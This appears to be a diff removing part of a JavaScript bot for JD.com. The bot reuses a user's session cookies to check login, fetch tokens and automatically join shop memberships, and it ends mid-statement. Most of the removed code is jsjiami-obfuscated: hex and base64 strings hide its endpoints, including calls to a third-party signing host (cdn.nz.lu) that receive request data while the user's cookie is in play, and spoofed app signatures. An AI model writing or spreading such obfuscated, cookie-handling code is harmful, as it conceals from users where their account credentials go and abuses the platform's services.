$.isNode() ? process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : require("./USER_AGENTS").USER_AGENT : $.getdata("JDUA") ? $.getdata("JDUA") : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - }, - }, - (err, resp, data) => { - try { - if (err) { - console.log(err); - } else { - if (resp["headers"]["set-cookie"]) { - cookie = `${originCookie}`; - if ($.isNode()) { - for (let sk of resp["headers"]["set-cookie"]) { - cookie = `${cookie}${sk.split(";")[0]};`; - } - } else { - for (let ck of resp["headers"]["Set-Cookie"].split(",")) { - cookie = `${cookie}${ck.split(";")[0]};`; - } - } - } - if (resp["headers"]["Set-Cookie"]) { - cookie = `${originCookie}`; - if ($.isNode()) { - for (let sk of resp["headers"]["set-cookie"]) { - cookie = `${cookie}${sk.split(";")[0]};`; - } - } else { - for (let ck of resp["headers"]["Set-Cookie"].split(",")) { - cookie = `${cookie}${ck.split(";")[0]};`; - } - } - } - $.cookie = cookie - } - } catch (error) { - console.log(error); - } finally { - resolve(); - } - } - ); - }); -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: "api.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": "JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)", - "Accept-Language": "zh-Hans-CN;q=1", - "Accept-Encoding": "gzip, deflate, br", - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05`, - }; - return new Promise((resolve) => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err); - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token; - } - } else { - $.log("京东返回了空数据"); - } - } - } catch (error) { - $.log(error); - } finally { - resolve(); - } - }); - }); -} -function random(min, max) { - return Math.floor(Math.random() * (max - min)) + min; -} -function getUUID(format = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = (Math.random() * 16) | 0, - v = c == "x" ? r : (r & 0x3) | 0x8; - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36); - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - }, - }; - return new Promise((resolve) => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err); - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log("京东返回了空数据"); - } - } - } catch (e) { - $.logErr(e); - } finally { - resolve(); - } - }); - }); -} -// prettier-ignore -var _0xod7='jsjiami.com.v6',_0xod7_=['‮_0xod7'],_0x1acd=[_0xod7,'\x53\x33\x4a\x54\x56\x32\x4d\x3d','\x54\x47\x4e\x4c\x62\x6e\x6b\x3d','\x62\x47\x39\x6e','\x63\x47\x46\x79\x63\x32\x55\x3d','\x63\x33\x56\x6a\x59\x32\x56\x7a\x63\x77\x3d\x3d','\x63\x6d\x56\x7a\x64\x57\x78\x30','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x55\x6e\x56\x73\x5a\x55\x78\x70\x63\x33\x51\x3d','\x62\x33\x42\x6c\x62\x6b\x4e\x68\x63\x6d\x52\x42\x59\x33\x52\x70\x64\x6d\x6c\x30\x65\x55\x6c\x6b','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x53\x57\x35\x6d\x62\x77\x3d\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x4a\x5a\x41\x3d\x3d','\x56\x45\x56\x4a\x59\x57\x38\x3d','\x55\x6d\x78\x6d\x59\x32\x4d\x3d','\x63\x45\x39\x31\x52\x6b\x4d\x3d','\x64\x6e\x5a\x75\x57\x45\x4d\x3d','\x62\x33\x64\x32\x5a\x47\x55\x3d','\x59\x33\x70\x4b\x62\x47\x67\x3d','\x51\x55\x64\x59\x59\x30\x6b\x3d','\x54\x30\x4a\x58\x55\x45\x59\x3d','\x56\x57\x6c\x55\x51\x33\x63\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x49\x3d','\x52\x57\x52\x36\x62\x57\x67\x3d','\x55\x48\x56\x58\x62\x6b\x59\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x38\x3d','\x52\x33\x5a\x75\x55\x6c\x55\x3d','\x52\x6c\x5a\x71\x53\x30\x55\x3d','\x56\x47\x35\x69\x63\x30\x73\x3d','\x61\x6e\x6c\x47\x54\x31\x41\x3d','\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x51\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x59\x55\x78\x36\x61\x31\x63\x3d','\x56\x6d\x74\x75\x62\x33\x51\x3d','\x54\x56\x6c\x6f\x54\x45\x4d\x3d','\x62\x58\x64\x34\x52\x47\x30\x3d','\x65\x6c\x5a\x70\x59\x57\x34\x3d','\x52\x55\x46\x4a\x51\x6b\x45\x3d','\x53\x57\x70\x7a\x59\x6b\x6f\x3d','\x56\x55\x74\x79\x61\x46\x55\x3d','\x56\x32\x74\x69\x53\x45\x77\x3d','\x54\x46\x4a\x49\x61\x6b\x77\x3d','\x54\x30\x4e\x44\x54\x6e\x63\x3d','\x56\x31\x70\x7a\x57\x56\x6f\x3d','\x56\x33\x4e\x72\x63\x48\x67\x3d','\x61\x56\x42\x6b\x5a\x58\x67\x3d','\x51\x6e\x64\x6c\x55\x31\x63\x3d','\x65\x57\x35\x5a\x63\x58\x49\x3d','\x63\x47\x74\x50\x64\x58\x4d\x3d','\x57\x6d\x56\x5a\x62\x6c\x67\x3d','\x61\x56\x68\x4e\x54\x33\x6b\x3d','\x62\x56\x5a\x33\x65\x56\x67\x3d','\x55\x47\x4a\x50\x51\x55\x49\x3d','\x54\x33\x68\x74\x56\x57\x59\x3d','\x62\x55\x31\x52\x61\x33\x59\x3d','\x53\x57\x4a\x45\x62\x56\x45\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x4a\x74\x5a\x58\x4e\x7a\x59\x57\x64\x6c','\x62\x57\x56\x7a\x63\x32\x46\x6e\x5a\x51\x3d\x3d','\x5a\x57\x35\x32','\x55\x30\x6c\x48\x54\x6c\x39\x56\x55\x6b\x77\x3d','\x59\x6d\x52\x6e\x63\x30\x30\x3d','\x57\x6b\x74\x34\x53\x6b\x34\x3d','\x59\x30\x56\x51\x63\x6d\x4d\x3d','\x65\x45\x64\x72\x54\x47\x38\x3d','\x5a\x45\x74\x57\x64\x6d\x67\x3d','\x51\x58\x68\x73\x63\x6d\x6f\x3d','\x4f\x47\x46\x6b\x5a\x6d\x49\x3d','\x61\x6d\x52\x66\x63\x32\x68\x76\x63\x46\x39\x74\x5a\x57\x31\x69\x5a\x58\x49\x3d','\x4f\x53\x34\x79\x4c\x6a\x41\x3d','\x61\x6d\x52\x7a\x61\x57\x64\x75\x4c\x6d\x4e\x6d','\x59\x58\x42\x77\x62\x47\x6c\x6a\x59\x58\x52\x70\x62\x32\x34\x76\x61\x6e\x4e\x76\x62\x67\x3d\x3d','\x64\x6c\x6c\x43\x5a\x45\x67\x3d','\x51\x6b\x31\x47\x61\x33\x6b\x3d','\x61\x58\x56\x36\x61\x31\x45\x3d','\x5a\x30\x68\x33\x52\x58\x6f\x3d','\x55\x32\x56\x4d\x52\x6e\x45\x3d','\x52\x57\x35\x59\x65\x6c\x6b\x3d','\x55\x48\x70\x34\x63\x55\x67\x3d','\x54\x6c\x52\x42\x55\x56\x41\x3d','\x61\x30\x56\x78\x65\x6e\x45\x3d','\x61\x6c\x5a\x59\x63\x48\x45\x3d','\x51\x57\x31\x4f\x63\x6b\x6b\x3d','\x63\x57\x6c\x43\x64\x32\x63\x3d','\x5a\x6d\x78\x76\x62\x33\x49\x3d','\x62\x46\x6c\x57\x65\x47\x73\x3d','\x63\x6d\x46\x75\x5a\x47\x39\x74','\x62\x47\x56\x75\x5a\x33\x52\x6f','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x6a\x5a\x47\x34\x75\x62\x6e\x6f\x75\x62\x48\x55\x76\x5a\x32\x56\x30\x61\x44\x56\x7a\x64\x41\x3d\x3d','\x52\x47\x5a\x61\x62\x32\x67\x3d','\x57\x45\x4e\x36\x62\x6e\x59\x3d','\x63\x47\x39\x7a\x64\x41\x3d\x3d','\x53\x6b\x64\x4a\x53\x6b\x6f\x3d','\x59\x30\x78\x31\x57\x56\x63\x3d','\x53\x6d\x56\x74\x64\x6b\x67\x3d','\x56\x46\x4e\x6c\x59\x55\x59\x3d','\x5a\x6c\x64\x6d\x54\x31\x51\x3d','\x59\x58\x42\x77\x62\x48\x6b\x3d','\x65\x6b\x39\x49\x64\x45\x67\x3d','\x56\x46\x70\x75\x51\x6d\x6f\x3d','\x62\x47\x39\x6e\x52\x58\x4a\x79','\x61\x30\x64\x42\x55\x55\x51\x3d','\x56\x46\x6c\x48\x57\x48\x6f\x3d','\x59\x58\x42\x70\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74','\x4b\x69\x38\x71','\x61\x32\x56\x6c\x63\x43\x31\x68\x62\x47\x6c\x32\x5a\x51\x3d\x3d','\x65\x6d\x67\x74\x59\x32\x34\x3d','\x5a\x33\x70\x70\x63\x43\x77\x67\x5a\x47\x56\x6d\x62\x47\x46\x30\x5a\x53\x77\x67\x59\x6e\x49\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x39\x68\x63\x48\x42\x70\x5a\x44\x31\x71\x5a\x46\x39\x7a\x61\x47\x39\x77\x58\x32\x31\x6c\x62\x57\x4a\x6c\x63\x69\x5a\x6d\x64\x57\x35\x6a\x64\x47\x6c\x76\x62\x6b\x6c\x6b\x50\x57\x64\x6c\x64\x46\x4e\x6f\x62\x33\x42\x50\x63\x47\x56\x75\x51\x32\x46\x79\x5a\x45\x6c\x75\x5a\x6d\x38\x6d\x59\x6d\x39\x6b\x65\x54\x30\x3d','\x65\x47\x52\x75\x51\x6c\x49\x3d','\x63\x33\x52\x79\x61\x57\x35\x6e\x61\x57\x5a\x35','\x4a\x6d\x4e\x73\x61\x57\x56\x75\x64\x44\x31\x49\x4e\x53\x5a\x6a\x62\x47\x6c\x6c\x62\x6e\x52\x57\x5a\x58\x4a\x7a\x61\x57\x39\x75\x50\x54\x6b\x75\x4d\x69\x34\x77\x4a\x6e\x56\x31\x61\x57\x51\x39\x4f\x44\x67\x34\x4f\x44\x67\x3d','\x55\x6b\x70\x46\x55\x33\x6f\x3d','\x62\x48\x5a\x6c\x64\x6e\x67\x3d','\x59\x31\x68\x71\x63\x6e\x41\x3d','\x61\x6d\x52\x68\x63\x48\x41\x37\x61\x56\x42\x6f\x62\x32\x35\x6c\x4f\x7a\x6b\x75\x4e\x53\x34\x30\x4f\x7a\x45\x7a\x4c\x6a\x59\x37','\x56\x56\x56\x4a\x52\x41\x3d\x3d','\x4f\x32\x35\x6c\x64\x48\x64\x76\x63\x6d\x73\x76\x64\x32\x6c\x6d\x61\x54\x74\x42\x52\x45\x6c\x45\x4c\x77\x3d\x3d','\x51\x55\x52\x4a\x52\x41\x3d\x3d','\x4f\x32\x31\x76\x5a\x47\x56\x73\x4c\x32\x6c\x51\x61\x47\x39\x75\x5a\x54\x45\x77\x4c\x44\x4d\x37\x59\x57\x52\x6b\x63\x6d\x56\x7a\x63\x32\x6c\x6b\x4c\x7a\x41\x37\x59\x58\x42\x77\x51\x6e\x56\x70\x62\x47\x51\x76\x4d\x54\x59\x33\x4e\x6a\x59\x34\x4f\x32\x70\x6b\x55\x33\x56\x77\x63\x47\x39\x79\x64\x45\x52\x68\x63\x6d\x74\x4e\x62\x32\x52\x6c\x4c\x7a\x41\x37\x54\x57\x39\x36\x61\x57\x78\x73\x59\x53\x38\x31\x4c\x6a\x41\x67\x4b\x47\x6c\x51\x61\x47\x39\x75\x5a\x54\x73\x67\x51\x31\x42\x56\x49\x47\x6c\x51\x61\x47\x39\x75\x5a\x53\x42\x50\x55\x79\x41\x78\x4d\x31\x38\x32\x49\x47\x78\x70\x61\x32\x55\x67\x54\x57\x46\x6a\x49\x45\x39\x54\x49\x46\x67\x70\x49\x45\x46\x77\x63\x47\x78\x6c\x56\x32\x56\x69\x53\x32\x6c\x30\x4c\x7a\x59\x77\x4e\x53\x34\x78\x4c\x6a\x45\x31\x49\x43\x68\x4c\x53\x46\x52\x4e\x54\x43\x77\x67\x62\x47\x6c\x72\x5a\x53\x42\x48\x5a\x57\x4e\x72\x62\x79\x6b\x67\x54\x57\x39\x69\x61\x57\x78\x6c\x4c\x7a\x45\x31\x52\x54\x45\x30\x4f\x44\x74\x7a\x64\x58\x42\x77\x62\x33\x4a\x30\x53\x6b\x52\x54\x53\x46\x64\x4c\x4c\x7a\x45\x3d','\x61\x57\x4a\x49\x5a\x48\x45\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x7a\x61\x47\x39\x77\x62\x57\x56\x74\x59\x6d\x56\x79\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74\x4c\x33\x4e\x6f\x62\x33\x42\x6a\x59\x58\x4a\x6b\x4c\x7a\x39\x32\x5a\x57\x35\x6b\x5a\x58\x4a\x4a\x5a\x44\x30\x3d','\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x67\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x56\x63\x6d\x77\x3d','\x5a\x55\x64\x48\x65\x6e\x67\x3d','\x61\x58\x46\x34\x57\x55\x38\x3d','\x59\x56\x52\x6b\x65\x6d\x55\x3d','\x62\x56\x52\x51\x65\x55\x63\x3d','\x5a\x32\x56\x30','\x6a\x6b\x73\x6a\x45\x69\x48\x61\x6d\x69\x64\x53\x2e\x63\x54\x6f\x6d\x43\x2e\x76\x36\x68\x6c\x45\x45\x56\x50\x75\x56\x3d\x3d'];if(function(_0x47dca4,_0x2e45a0,_0x2d0d38){function _0x358c40(_0x4e0fee,_0x44d395,_0x5f1629,_0x6d2cae,_0x379df8,_0x59c1d4){_0x44d395=_0x44d395>>0x8,_0x379df8='po';var _0x24e0cd='shift',_0x197297='push',_0x59c1d4='‮';if(_0x44d395<_0x4e0fee){while(--_0x4e0fee){_0x6d2cae=_0x47dca4[_0x24e0cd]();if(_0x44d395===_0x4e0fee&&_0x59c1d4==='‮'&&_0x59c1d4['length']===0x1){_0x44d395=_0x6d2cae,_0x5f1629=_0x47dca4[_0x379df8+'p']();}else if(_0x44d395&&_0x5f1629['replace'](/[kEHdSTChlEEVPuV=]/g,'')===_0x44d395){_0x47dca4[_0x197297](_0x6d2cae);}}_0x47dca4[_0x197297](_0x47dca4[_0x24e0cd]());}return 0xdaf2e;};return _0x358c40(++_0x2e45a0,_0x2d0d38)>>_0x2e45a0^_0x2d0d38;}(_0x1acd,0x1d5,0x1d500),_0x1acd){_0xod7_=_0x1acd['length']^0x1d5;};function _0x27de(_0x4ab799,_0x2148e0){_0x4ab799=~~'0x'['concat'](_0x4ab799['slice'](0x1));var _0x38aa70=_0x1acd[_0x4ab799];if(_0x27de['HEabFd']===undefined&&'‮'['length']===0x1){(function(){var _0x48587b=function(){var _0x226fa7;try{_0x226fa7=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x302471){_0x226fa7=window;}return _0x226fa7;};var _0x2dcb25=_0x48587b();var _0x5d0b0e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2dcb25['atob']||(_0x2dcb25['atob']=function(_0x41138d){var _0x37290e=String(_0x41138d)['replace'](/=+$/,'');for(var _0x1da2f9=0x0,_0x27e844,_0x496c4d,_0x55ec30=0x0,_0x46993b='';_0x496c4d=_0x37290e['charAt'](_0x55ec30++);~_0x496c4d&&(_0x27e844=_0x1da2f9%0x4?_0x27e844*0x40+_0x496c4d:_0x496c4d,_0x1da2f9++%0x4)?_0x46993b+=String['fromCharCode'](0xff&_0x27e844>>(-0x2*_0x1da2f9&0x6)):0x0){_0x496c4d=_0x5d0b0e['indexOf'](_0x496c4d);}return _0x46993b;});}());_0x27de['ciicrd']=function(_0x35e622){var _0x1ca022=atob(_0x35e622);var _0x460af0=[];for(var _0x27de2b=0x0,_0x1b5b31=_0x1ca022['length'];_0x27de2b<_0x1b5b31;_0x27de2b++){_0x460af0+='%'+('00'+_0x1ca022['charCodeAt'](_0x27de2b)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x460af0);};_0x27de['qeLOEi']={};_0x27de['HEabFd']=!![];}var _0x4e1a4f=_0x27de['qeLOEi'][_0x4ab799];if(_0x4e1a4f===undefined){_0x38aa70=_0x27de['ciicrd'](_0x38aa70);_0x27de['qeLOEi'][_0x4ab799]=_0x38aa70;}else{_0x38aa70=_0x4e1a4f;}return _0x38aa70;};function getShopOpenCardInfo(_0x2dfe13,_0x2a9c59){var _0x169e2b={'\x69\x71\x78\x59\x4f':function(_0x237960,_0x2865f7){return _0x237960===_0x2865f7;},'\x61\x54\x64\x7a\x65':_0x27de('‮0'),'\x6d\x54\x50\x79\x47':function(_0x5db734){return _0x5db734();},'\x78\x64\x6e\x42\x52':function(_0x27ef1f,_0x2696d1){return _0x27ef1f(_0x2696d1);},'\x52\x4a\x45\x53\x7a':_0x27de('‫1'),'\x6c\x76\x65\x76\x78':_0x27de('‫2'),'\x63\x58\x6a\x72\x70':_0x27de('‫3'),'\x69\x62\x48\x64\x71':_0x27de('‮4'),'\x65\x47\x47\x7a\x78':_0x27de('‫5')};let _0x4540b3={'\x75\x72\x6c':_0x27de('‮6')+_0x169e2b[_0x27de('‮7')](encodeURIComponent,JSON[_0x27de('‫8')](_0x2dfe13))+_0x27de('‮9'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x169e2b[_0x27de('‮a')],'\x41\x63\x63\x65\x70\x74':_0x169e2b[_0x27de('‮b')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x169e2b[_0x27de('‫c')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x27de('‫d')+$[_0x27de('‫e')]+_0x27de('‫f')+$[_0x27de('‫10')]+_0x27de('‫11'),'Accept-Language':_0x169e2b[_0x27de('‫12')],'\x52\x65\x66\x65\x72\x65\x72':_0x27de('‮13')+_0x2a9c59+_0x27de('‮14')+_0x169e2b[_0x27de('‮7')](encodeURIComponent,$[_0x27de('‫15')]),'Accept-Encoding':_0x169e2b[_0x27de('‮16')]}};return new Promise(_0x24d014=>{var _0x45d140={'\x4b\x72\x53\x57\x63':function(_0x564cc4,_0x316683){return _0x169e2b[_0x27de('‫17')](_0x564cc4,_0x316683);},'\x4c\x63\x4b\x6e\x79':_0x169e2b[_0x27de('‫18')],'\x54\x45\x49\x61\x6f':function(_0x32cebc){return _0x169e2b[_0x27de('‫19')](_0x32cebc);}};$[_0x27de('‫1a')](_0x4540b3,(_0x497df1,_0x18ad2f,_0x1d037c)=>{if(_0x45d140[_0x27de('‮1b')](_0x45d140[_0x27de('‮1c')],_0x45d140[_0x27de('‮1c')])){try{if(_0x497df1){console[_0x27de('‫1d')](_0x497df1);}else{res=JSON[_0x27de('‫1e')](_0x1d037c);if(res[_0x27de('‮1f')]){if(res[_0x27de('‮20')][_0x27de('‮21')]){$[_0x27de('‮22')]=res[_0x27de('‮20')][_0x27de('‮21')][0x0][_0x27de('‫23')][_0x27de('‮24')];}}}}catch(_0x487efd){console[_0x27de('‫1d')](_0x487efd);}finally{_0x45d140[_0x27de('‮25')](_0x24d014);}}else{console[_0x27de('‫1d')](_0x497df1);}});});}async function bindWithVender(_0x4bf9aa,_0x5a230c){var _0x5180ad={'\x4d\x59\x68\x4c\x43':function(_0x396660){return _0x396660();},'\x6d\x77\x78\x44\x6d':function(_0x4b2169,_0x405a0d){return _0x4b2169!==_0x405a0d;},'\x7a\x56\x69\x61\x6e':_0x27de('‫26'),'\x45\x41\x49\x42\x41':_0x27de('‫27'),'\x49\x6a\x73\x62\x4a':function(_0xcf4ea9,_0x3221b8){return _0xcf4ea9===_0x3221b8;},'\x55\x4b\x72\x68\x55':_0x27de('‫28'),'\x57\x6b\x62\x48\x4c':_0x27de('‫29'),'\x4c\x52\x48\x6a\x4c':_0x27de('‮2a'),'\x4f\x43\x43\x4e\x77':_0x27de('‫2b'),'\x57\x5a\x73\x59\x5a':_0x27de('‫2c'),'\x57\x73\x6b\x70\x78':_0x27de('‮2d'),'\x45\x64\x7a\x6d\x68':function(_0x148959,_0x176008,_0x319ba8){return _0x148959(_0x176008,_0x319ba8);},'\x50\x75\x57\x6e\x46':_0x27de('‮2e'),'\x47\x76\x6e\x52\x55':_0x27de('‫1'),'\x46\x56\x6a\x4b\x45':_0x27de('‫2'),'\x54\x6e\x62\x73\x4b':_0x27de('‫3'),'\x6a\x79\x46\x4f\x50':_0x27de('‮4'),'\x61\x4c\x7a\x6b\x57':function(_0x3768db,_0x1db8ba){return _0x3768db(_0x1db8ba);},'\x56\x6b\x6e\x6f\x74':_0x27de('‫5')};return h5st=await _0x5180ad[_0x27de('‮2f')](geth5st,_0x5180ad[_0x27de('‮30')],_0x4bf9aa),opt={'\x75\x72\x6c':_0x27de('‮31')+h5st,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x5180ad[_0x27de('‮32')],'\x41\x63\x63\x65\x70\x74':_0x5180ad[_0x27de('‫33')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x5180ad[_0x27de('‮34')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x27de('‫d')+$[_0x27de('‫e')]+_0x27de('‫f')+$[_0x27de('‫10')]+_0x27de('‫11'),'Accept-Language':_0x5180ad[_0x27de('‫35')],'\x52\x65\x66\x65\x72\x65\x72':_0x27de('‮13')+_0x5a230c+_0x27de('‮36')+_0x5180ad[_0x27de('‮37')](encodeURIComponent,$[_0x27de('‫15')]),'Accept-Encoding':_0x5180ad[_0x27de('‫38')]}},new Promise(_0x2c2848=>{var _0x1f470d={'\x69\x50\x64\x65\x78':function(_0x4c0bea){return _0x5180ad[_0x27de('‫39')](_0x4c0bea);},'\x42\x77\x65\x53\x57':function(_0x240905,_0x2118e5){return _0x5180ad[_0x27de('‫3a')](_0x240905,_0x2118e5);},'\x79\x6e\x59\x71\x72':_0x5180ad[_0x27de('‫3b')],'\x70\x6b\x4f\x75\x73':_0x5180ad[_0x27de('‮3c')],'\x5a\x65\x59\x6e\x58':function(_0x2ff734,_0x50b6d9){return _0x5180ad[_0x27de('‮3d')](_0x2ff734,_0x50b6d9);},'\x69\x58\x4d\x4f\x79':_0x5180ad[_0x27de('‫3e')],'\x6d\x56\x77\x79\x58':function(_0x43cb7f,_0x5f0fa8){return _0x5180ad[_0x27de('‮3d')](_0x43cb7f,_0x5f0fa8);},'\x50\x62\x4f\x41\x42':_0x5180ad[_0x27de('‫3f')],'\x4f\x78\x6d\x55\x66':_0x5180ad[_0x27de('‫40')],'\x49\x62\x44\x6d\x51':_0x5180ad[_0x27de('‫41')],'\x62\x64\x67\x73\x4d':_0x5180ad[_0x27de('‫42')],'\x5a\x4b\x78\x4a\x4e':_0x5180ad[_0x27de('‮43')]};$[_0x27de('‫1a')](opt,(_0x311afb,_0x3b7aab,_0x4c2873)=>{var _0x53384e={'\x6d\x4d\x51\x6b\x76':function(_0x26e196){return _0x1f470d[_0x27de('‫44')](_0x26e196);}};try{if(_0x1f470d[_0x27de('‮45')](_0x1f470d[_0x27de('‫46')],_0x1f470d[_0x27de('‮47')])){if(_0x311afb){if(_0x1f470d[_0x27de('‫48')](_0x1f470d[_0x27de('‫49')],_0x1f470d[_0x27de('‫49')])){console[_0x27de('‫1d')](_0x311afb);}else{console[_0x27de('‫1d')](error);}}else{if(_0x1f470d[_0x27de('‮4a')](_0x1f470d[_0x27de('‫4b')],_0x1f470d[_0x27de('‮4c')])){_0x53384e[_0x27de('‮4d')](_0x2c2848);}else{res=JSON[_0x27de('‫1e')](_0x4c2873);if(res[_0x27de('‮1f')]){if(_0x1f470d[_0x27de('‮4a')](_0x1f470d[_0x27de('‫4e')],_0x1f470d[_0x27de('‫4e')])){console[_0x27de('‫1d')](res);$[_0x27de('‫4f')]=res[_0x27de('‮50')];}else{console[_0x27de('‫1d')](_0x311afb);}}}}}else{Host=process[_0x27de('‮51')][_0x27de('‫52')];}}catch(_0x317968){if(_0x1f470d[_0x27de('‮4a')](_0x1f470d[_0x27de('‮53')],_0x1f470d[_0x27de('‮53')])){console[_0x27de('‫1d')](_0x317968);}else{$[_0x27de('‮22')]=res[_0x27de('‮20')][_0x27de('‮21')][0x0][_0x27de('‫23')][_0x27de('‮24')];}}finally{if(_0x1f470d[_0x27de('‮45')](_0x1f470d[_0x27de('‫54')],_0x1f470d[_0x27de('‫54')])){_0x1f470d[_0x27de('‫44')](_0x2c2848);}else{_0x1f470d[_0x27de('‫44')](_0x2c2848);}}});});}function geth5st(_0x1c2dc4,_0x38bbf9){var _0xad3eae={'\x76\x59\x42\x64\x48':function(_0xb6682a,_0x1dbeb1){return _0xb6682a===_0x1dbeb1;},'\x42\x4d\x46\x6b\x79':_0x27de('‮55'),'\x69\x75\x7a\x6b\x51':function(_0x521e0c,_0x1ffbd9){return _0x521e0c!==_0x1ffbd9;},'\x67\x48\x77\x45\x7a':_0x27de('‮56'),'\x53\x65\x4c\x46\x71':_0x27de('‮57'),'\x45\x6e\x58\x7a\x59':function(_0x4fa54e,_0x1f1dc2){return _0x4fa54e===_0x1f1dc2;},'\x50\x7a\x78\x71\x48':_0x27de('‮58'),'\x4e\x54\x41\x51\x50':function(_0x3fd51b,_0x32a444){return _0x3fd51b(_0x32a444);},'\x6b\x45\x71\x7a\x71':_0x27de('‫59'),'\x6a\x56\x58\x70\x71':_0x27de('‫5a'),'\x41\x6d\x4e\x72\x49':_0x27de('‮5b'),'\x71\x69\x42\x77\x67':_0x27de('‫5c'),'\x6c\x59\x56\x78\x6b':function(_0x2a05e2,_0x15824){return _0x2a05e2*_0x15824;},'\x44\x66\x5a\x6f\x68':_0x27de('‫5d'),'\x58\x43\x7a\x6e\x76':function(_0x46d10b,_0x5b5da1){return _0x46d10b*_0x5b5da1;}};return new Promise(async _0x573221=>{var _0x1c0efb={'\x4a\x47\x49\x4a\x4a':function(_0x30195c,_0x3fe97e){return _0xad3eae[_0x27de('‮5e')](_0x30195c,_0x3fe97e);},'\x63\x4c\x75\x59\x57':_0xad3eae[_0x27de('‫5f')],'\x4a\x65\x6d\x76\x48':function(_0x41b061,_0x2c0980){return _0xad3eae[_0x27de('‫60')](_0x41b061,_0x2c0980);},'\x54\x53\x65\x61\x46':_0xad3eae[_0x27de('‫61')],'\x66\x57\x66\x4f\x54':_0xad3eae[_0x27de('‮62')],'\x7a\x4f\x48\x74\x48':function(_0x1029f8,_0x21337a){return _0xad3eae[_0x27de('‮63')](_0x1029f8,_0x21337a);},'\x54\x5a\x6e\x42\x6a':_0xad3eae[_0x27de('‫64')],'\x6b\x47\x41\x51\x44':function(_0x1b9d1f,_0x3ee921){return _0xad3eae[_0x27de('‫65')](_0x1b9d1f,_0x3ee921);}};let 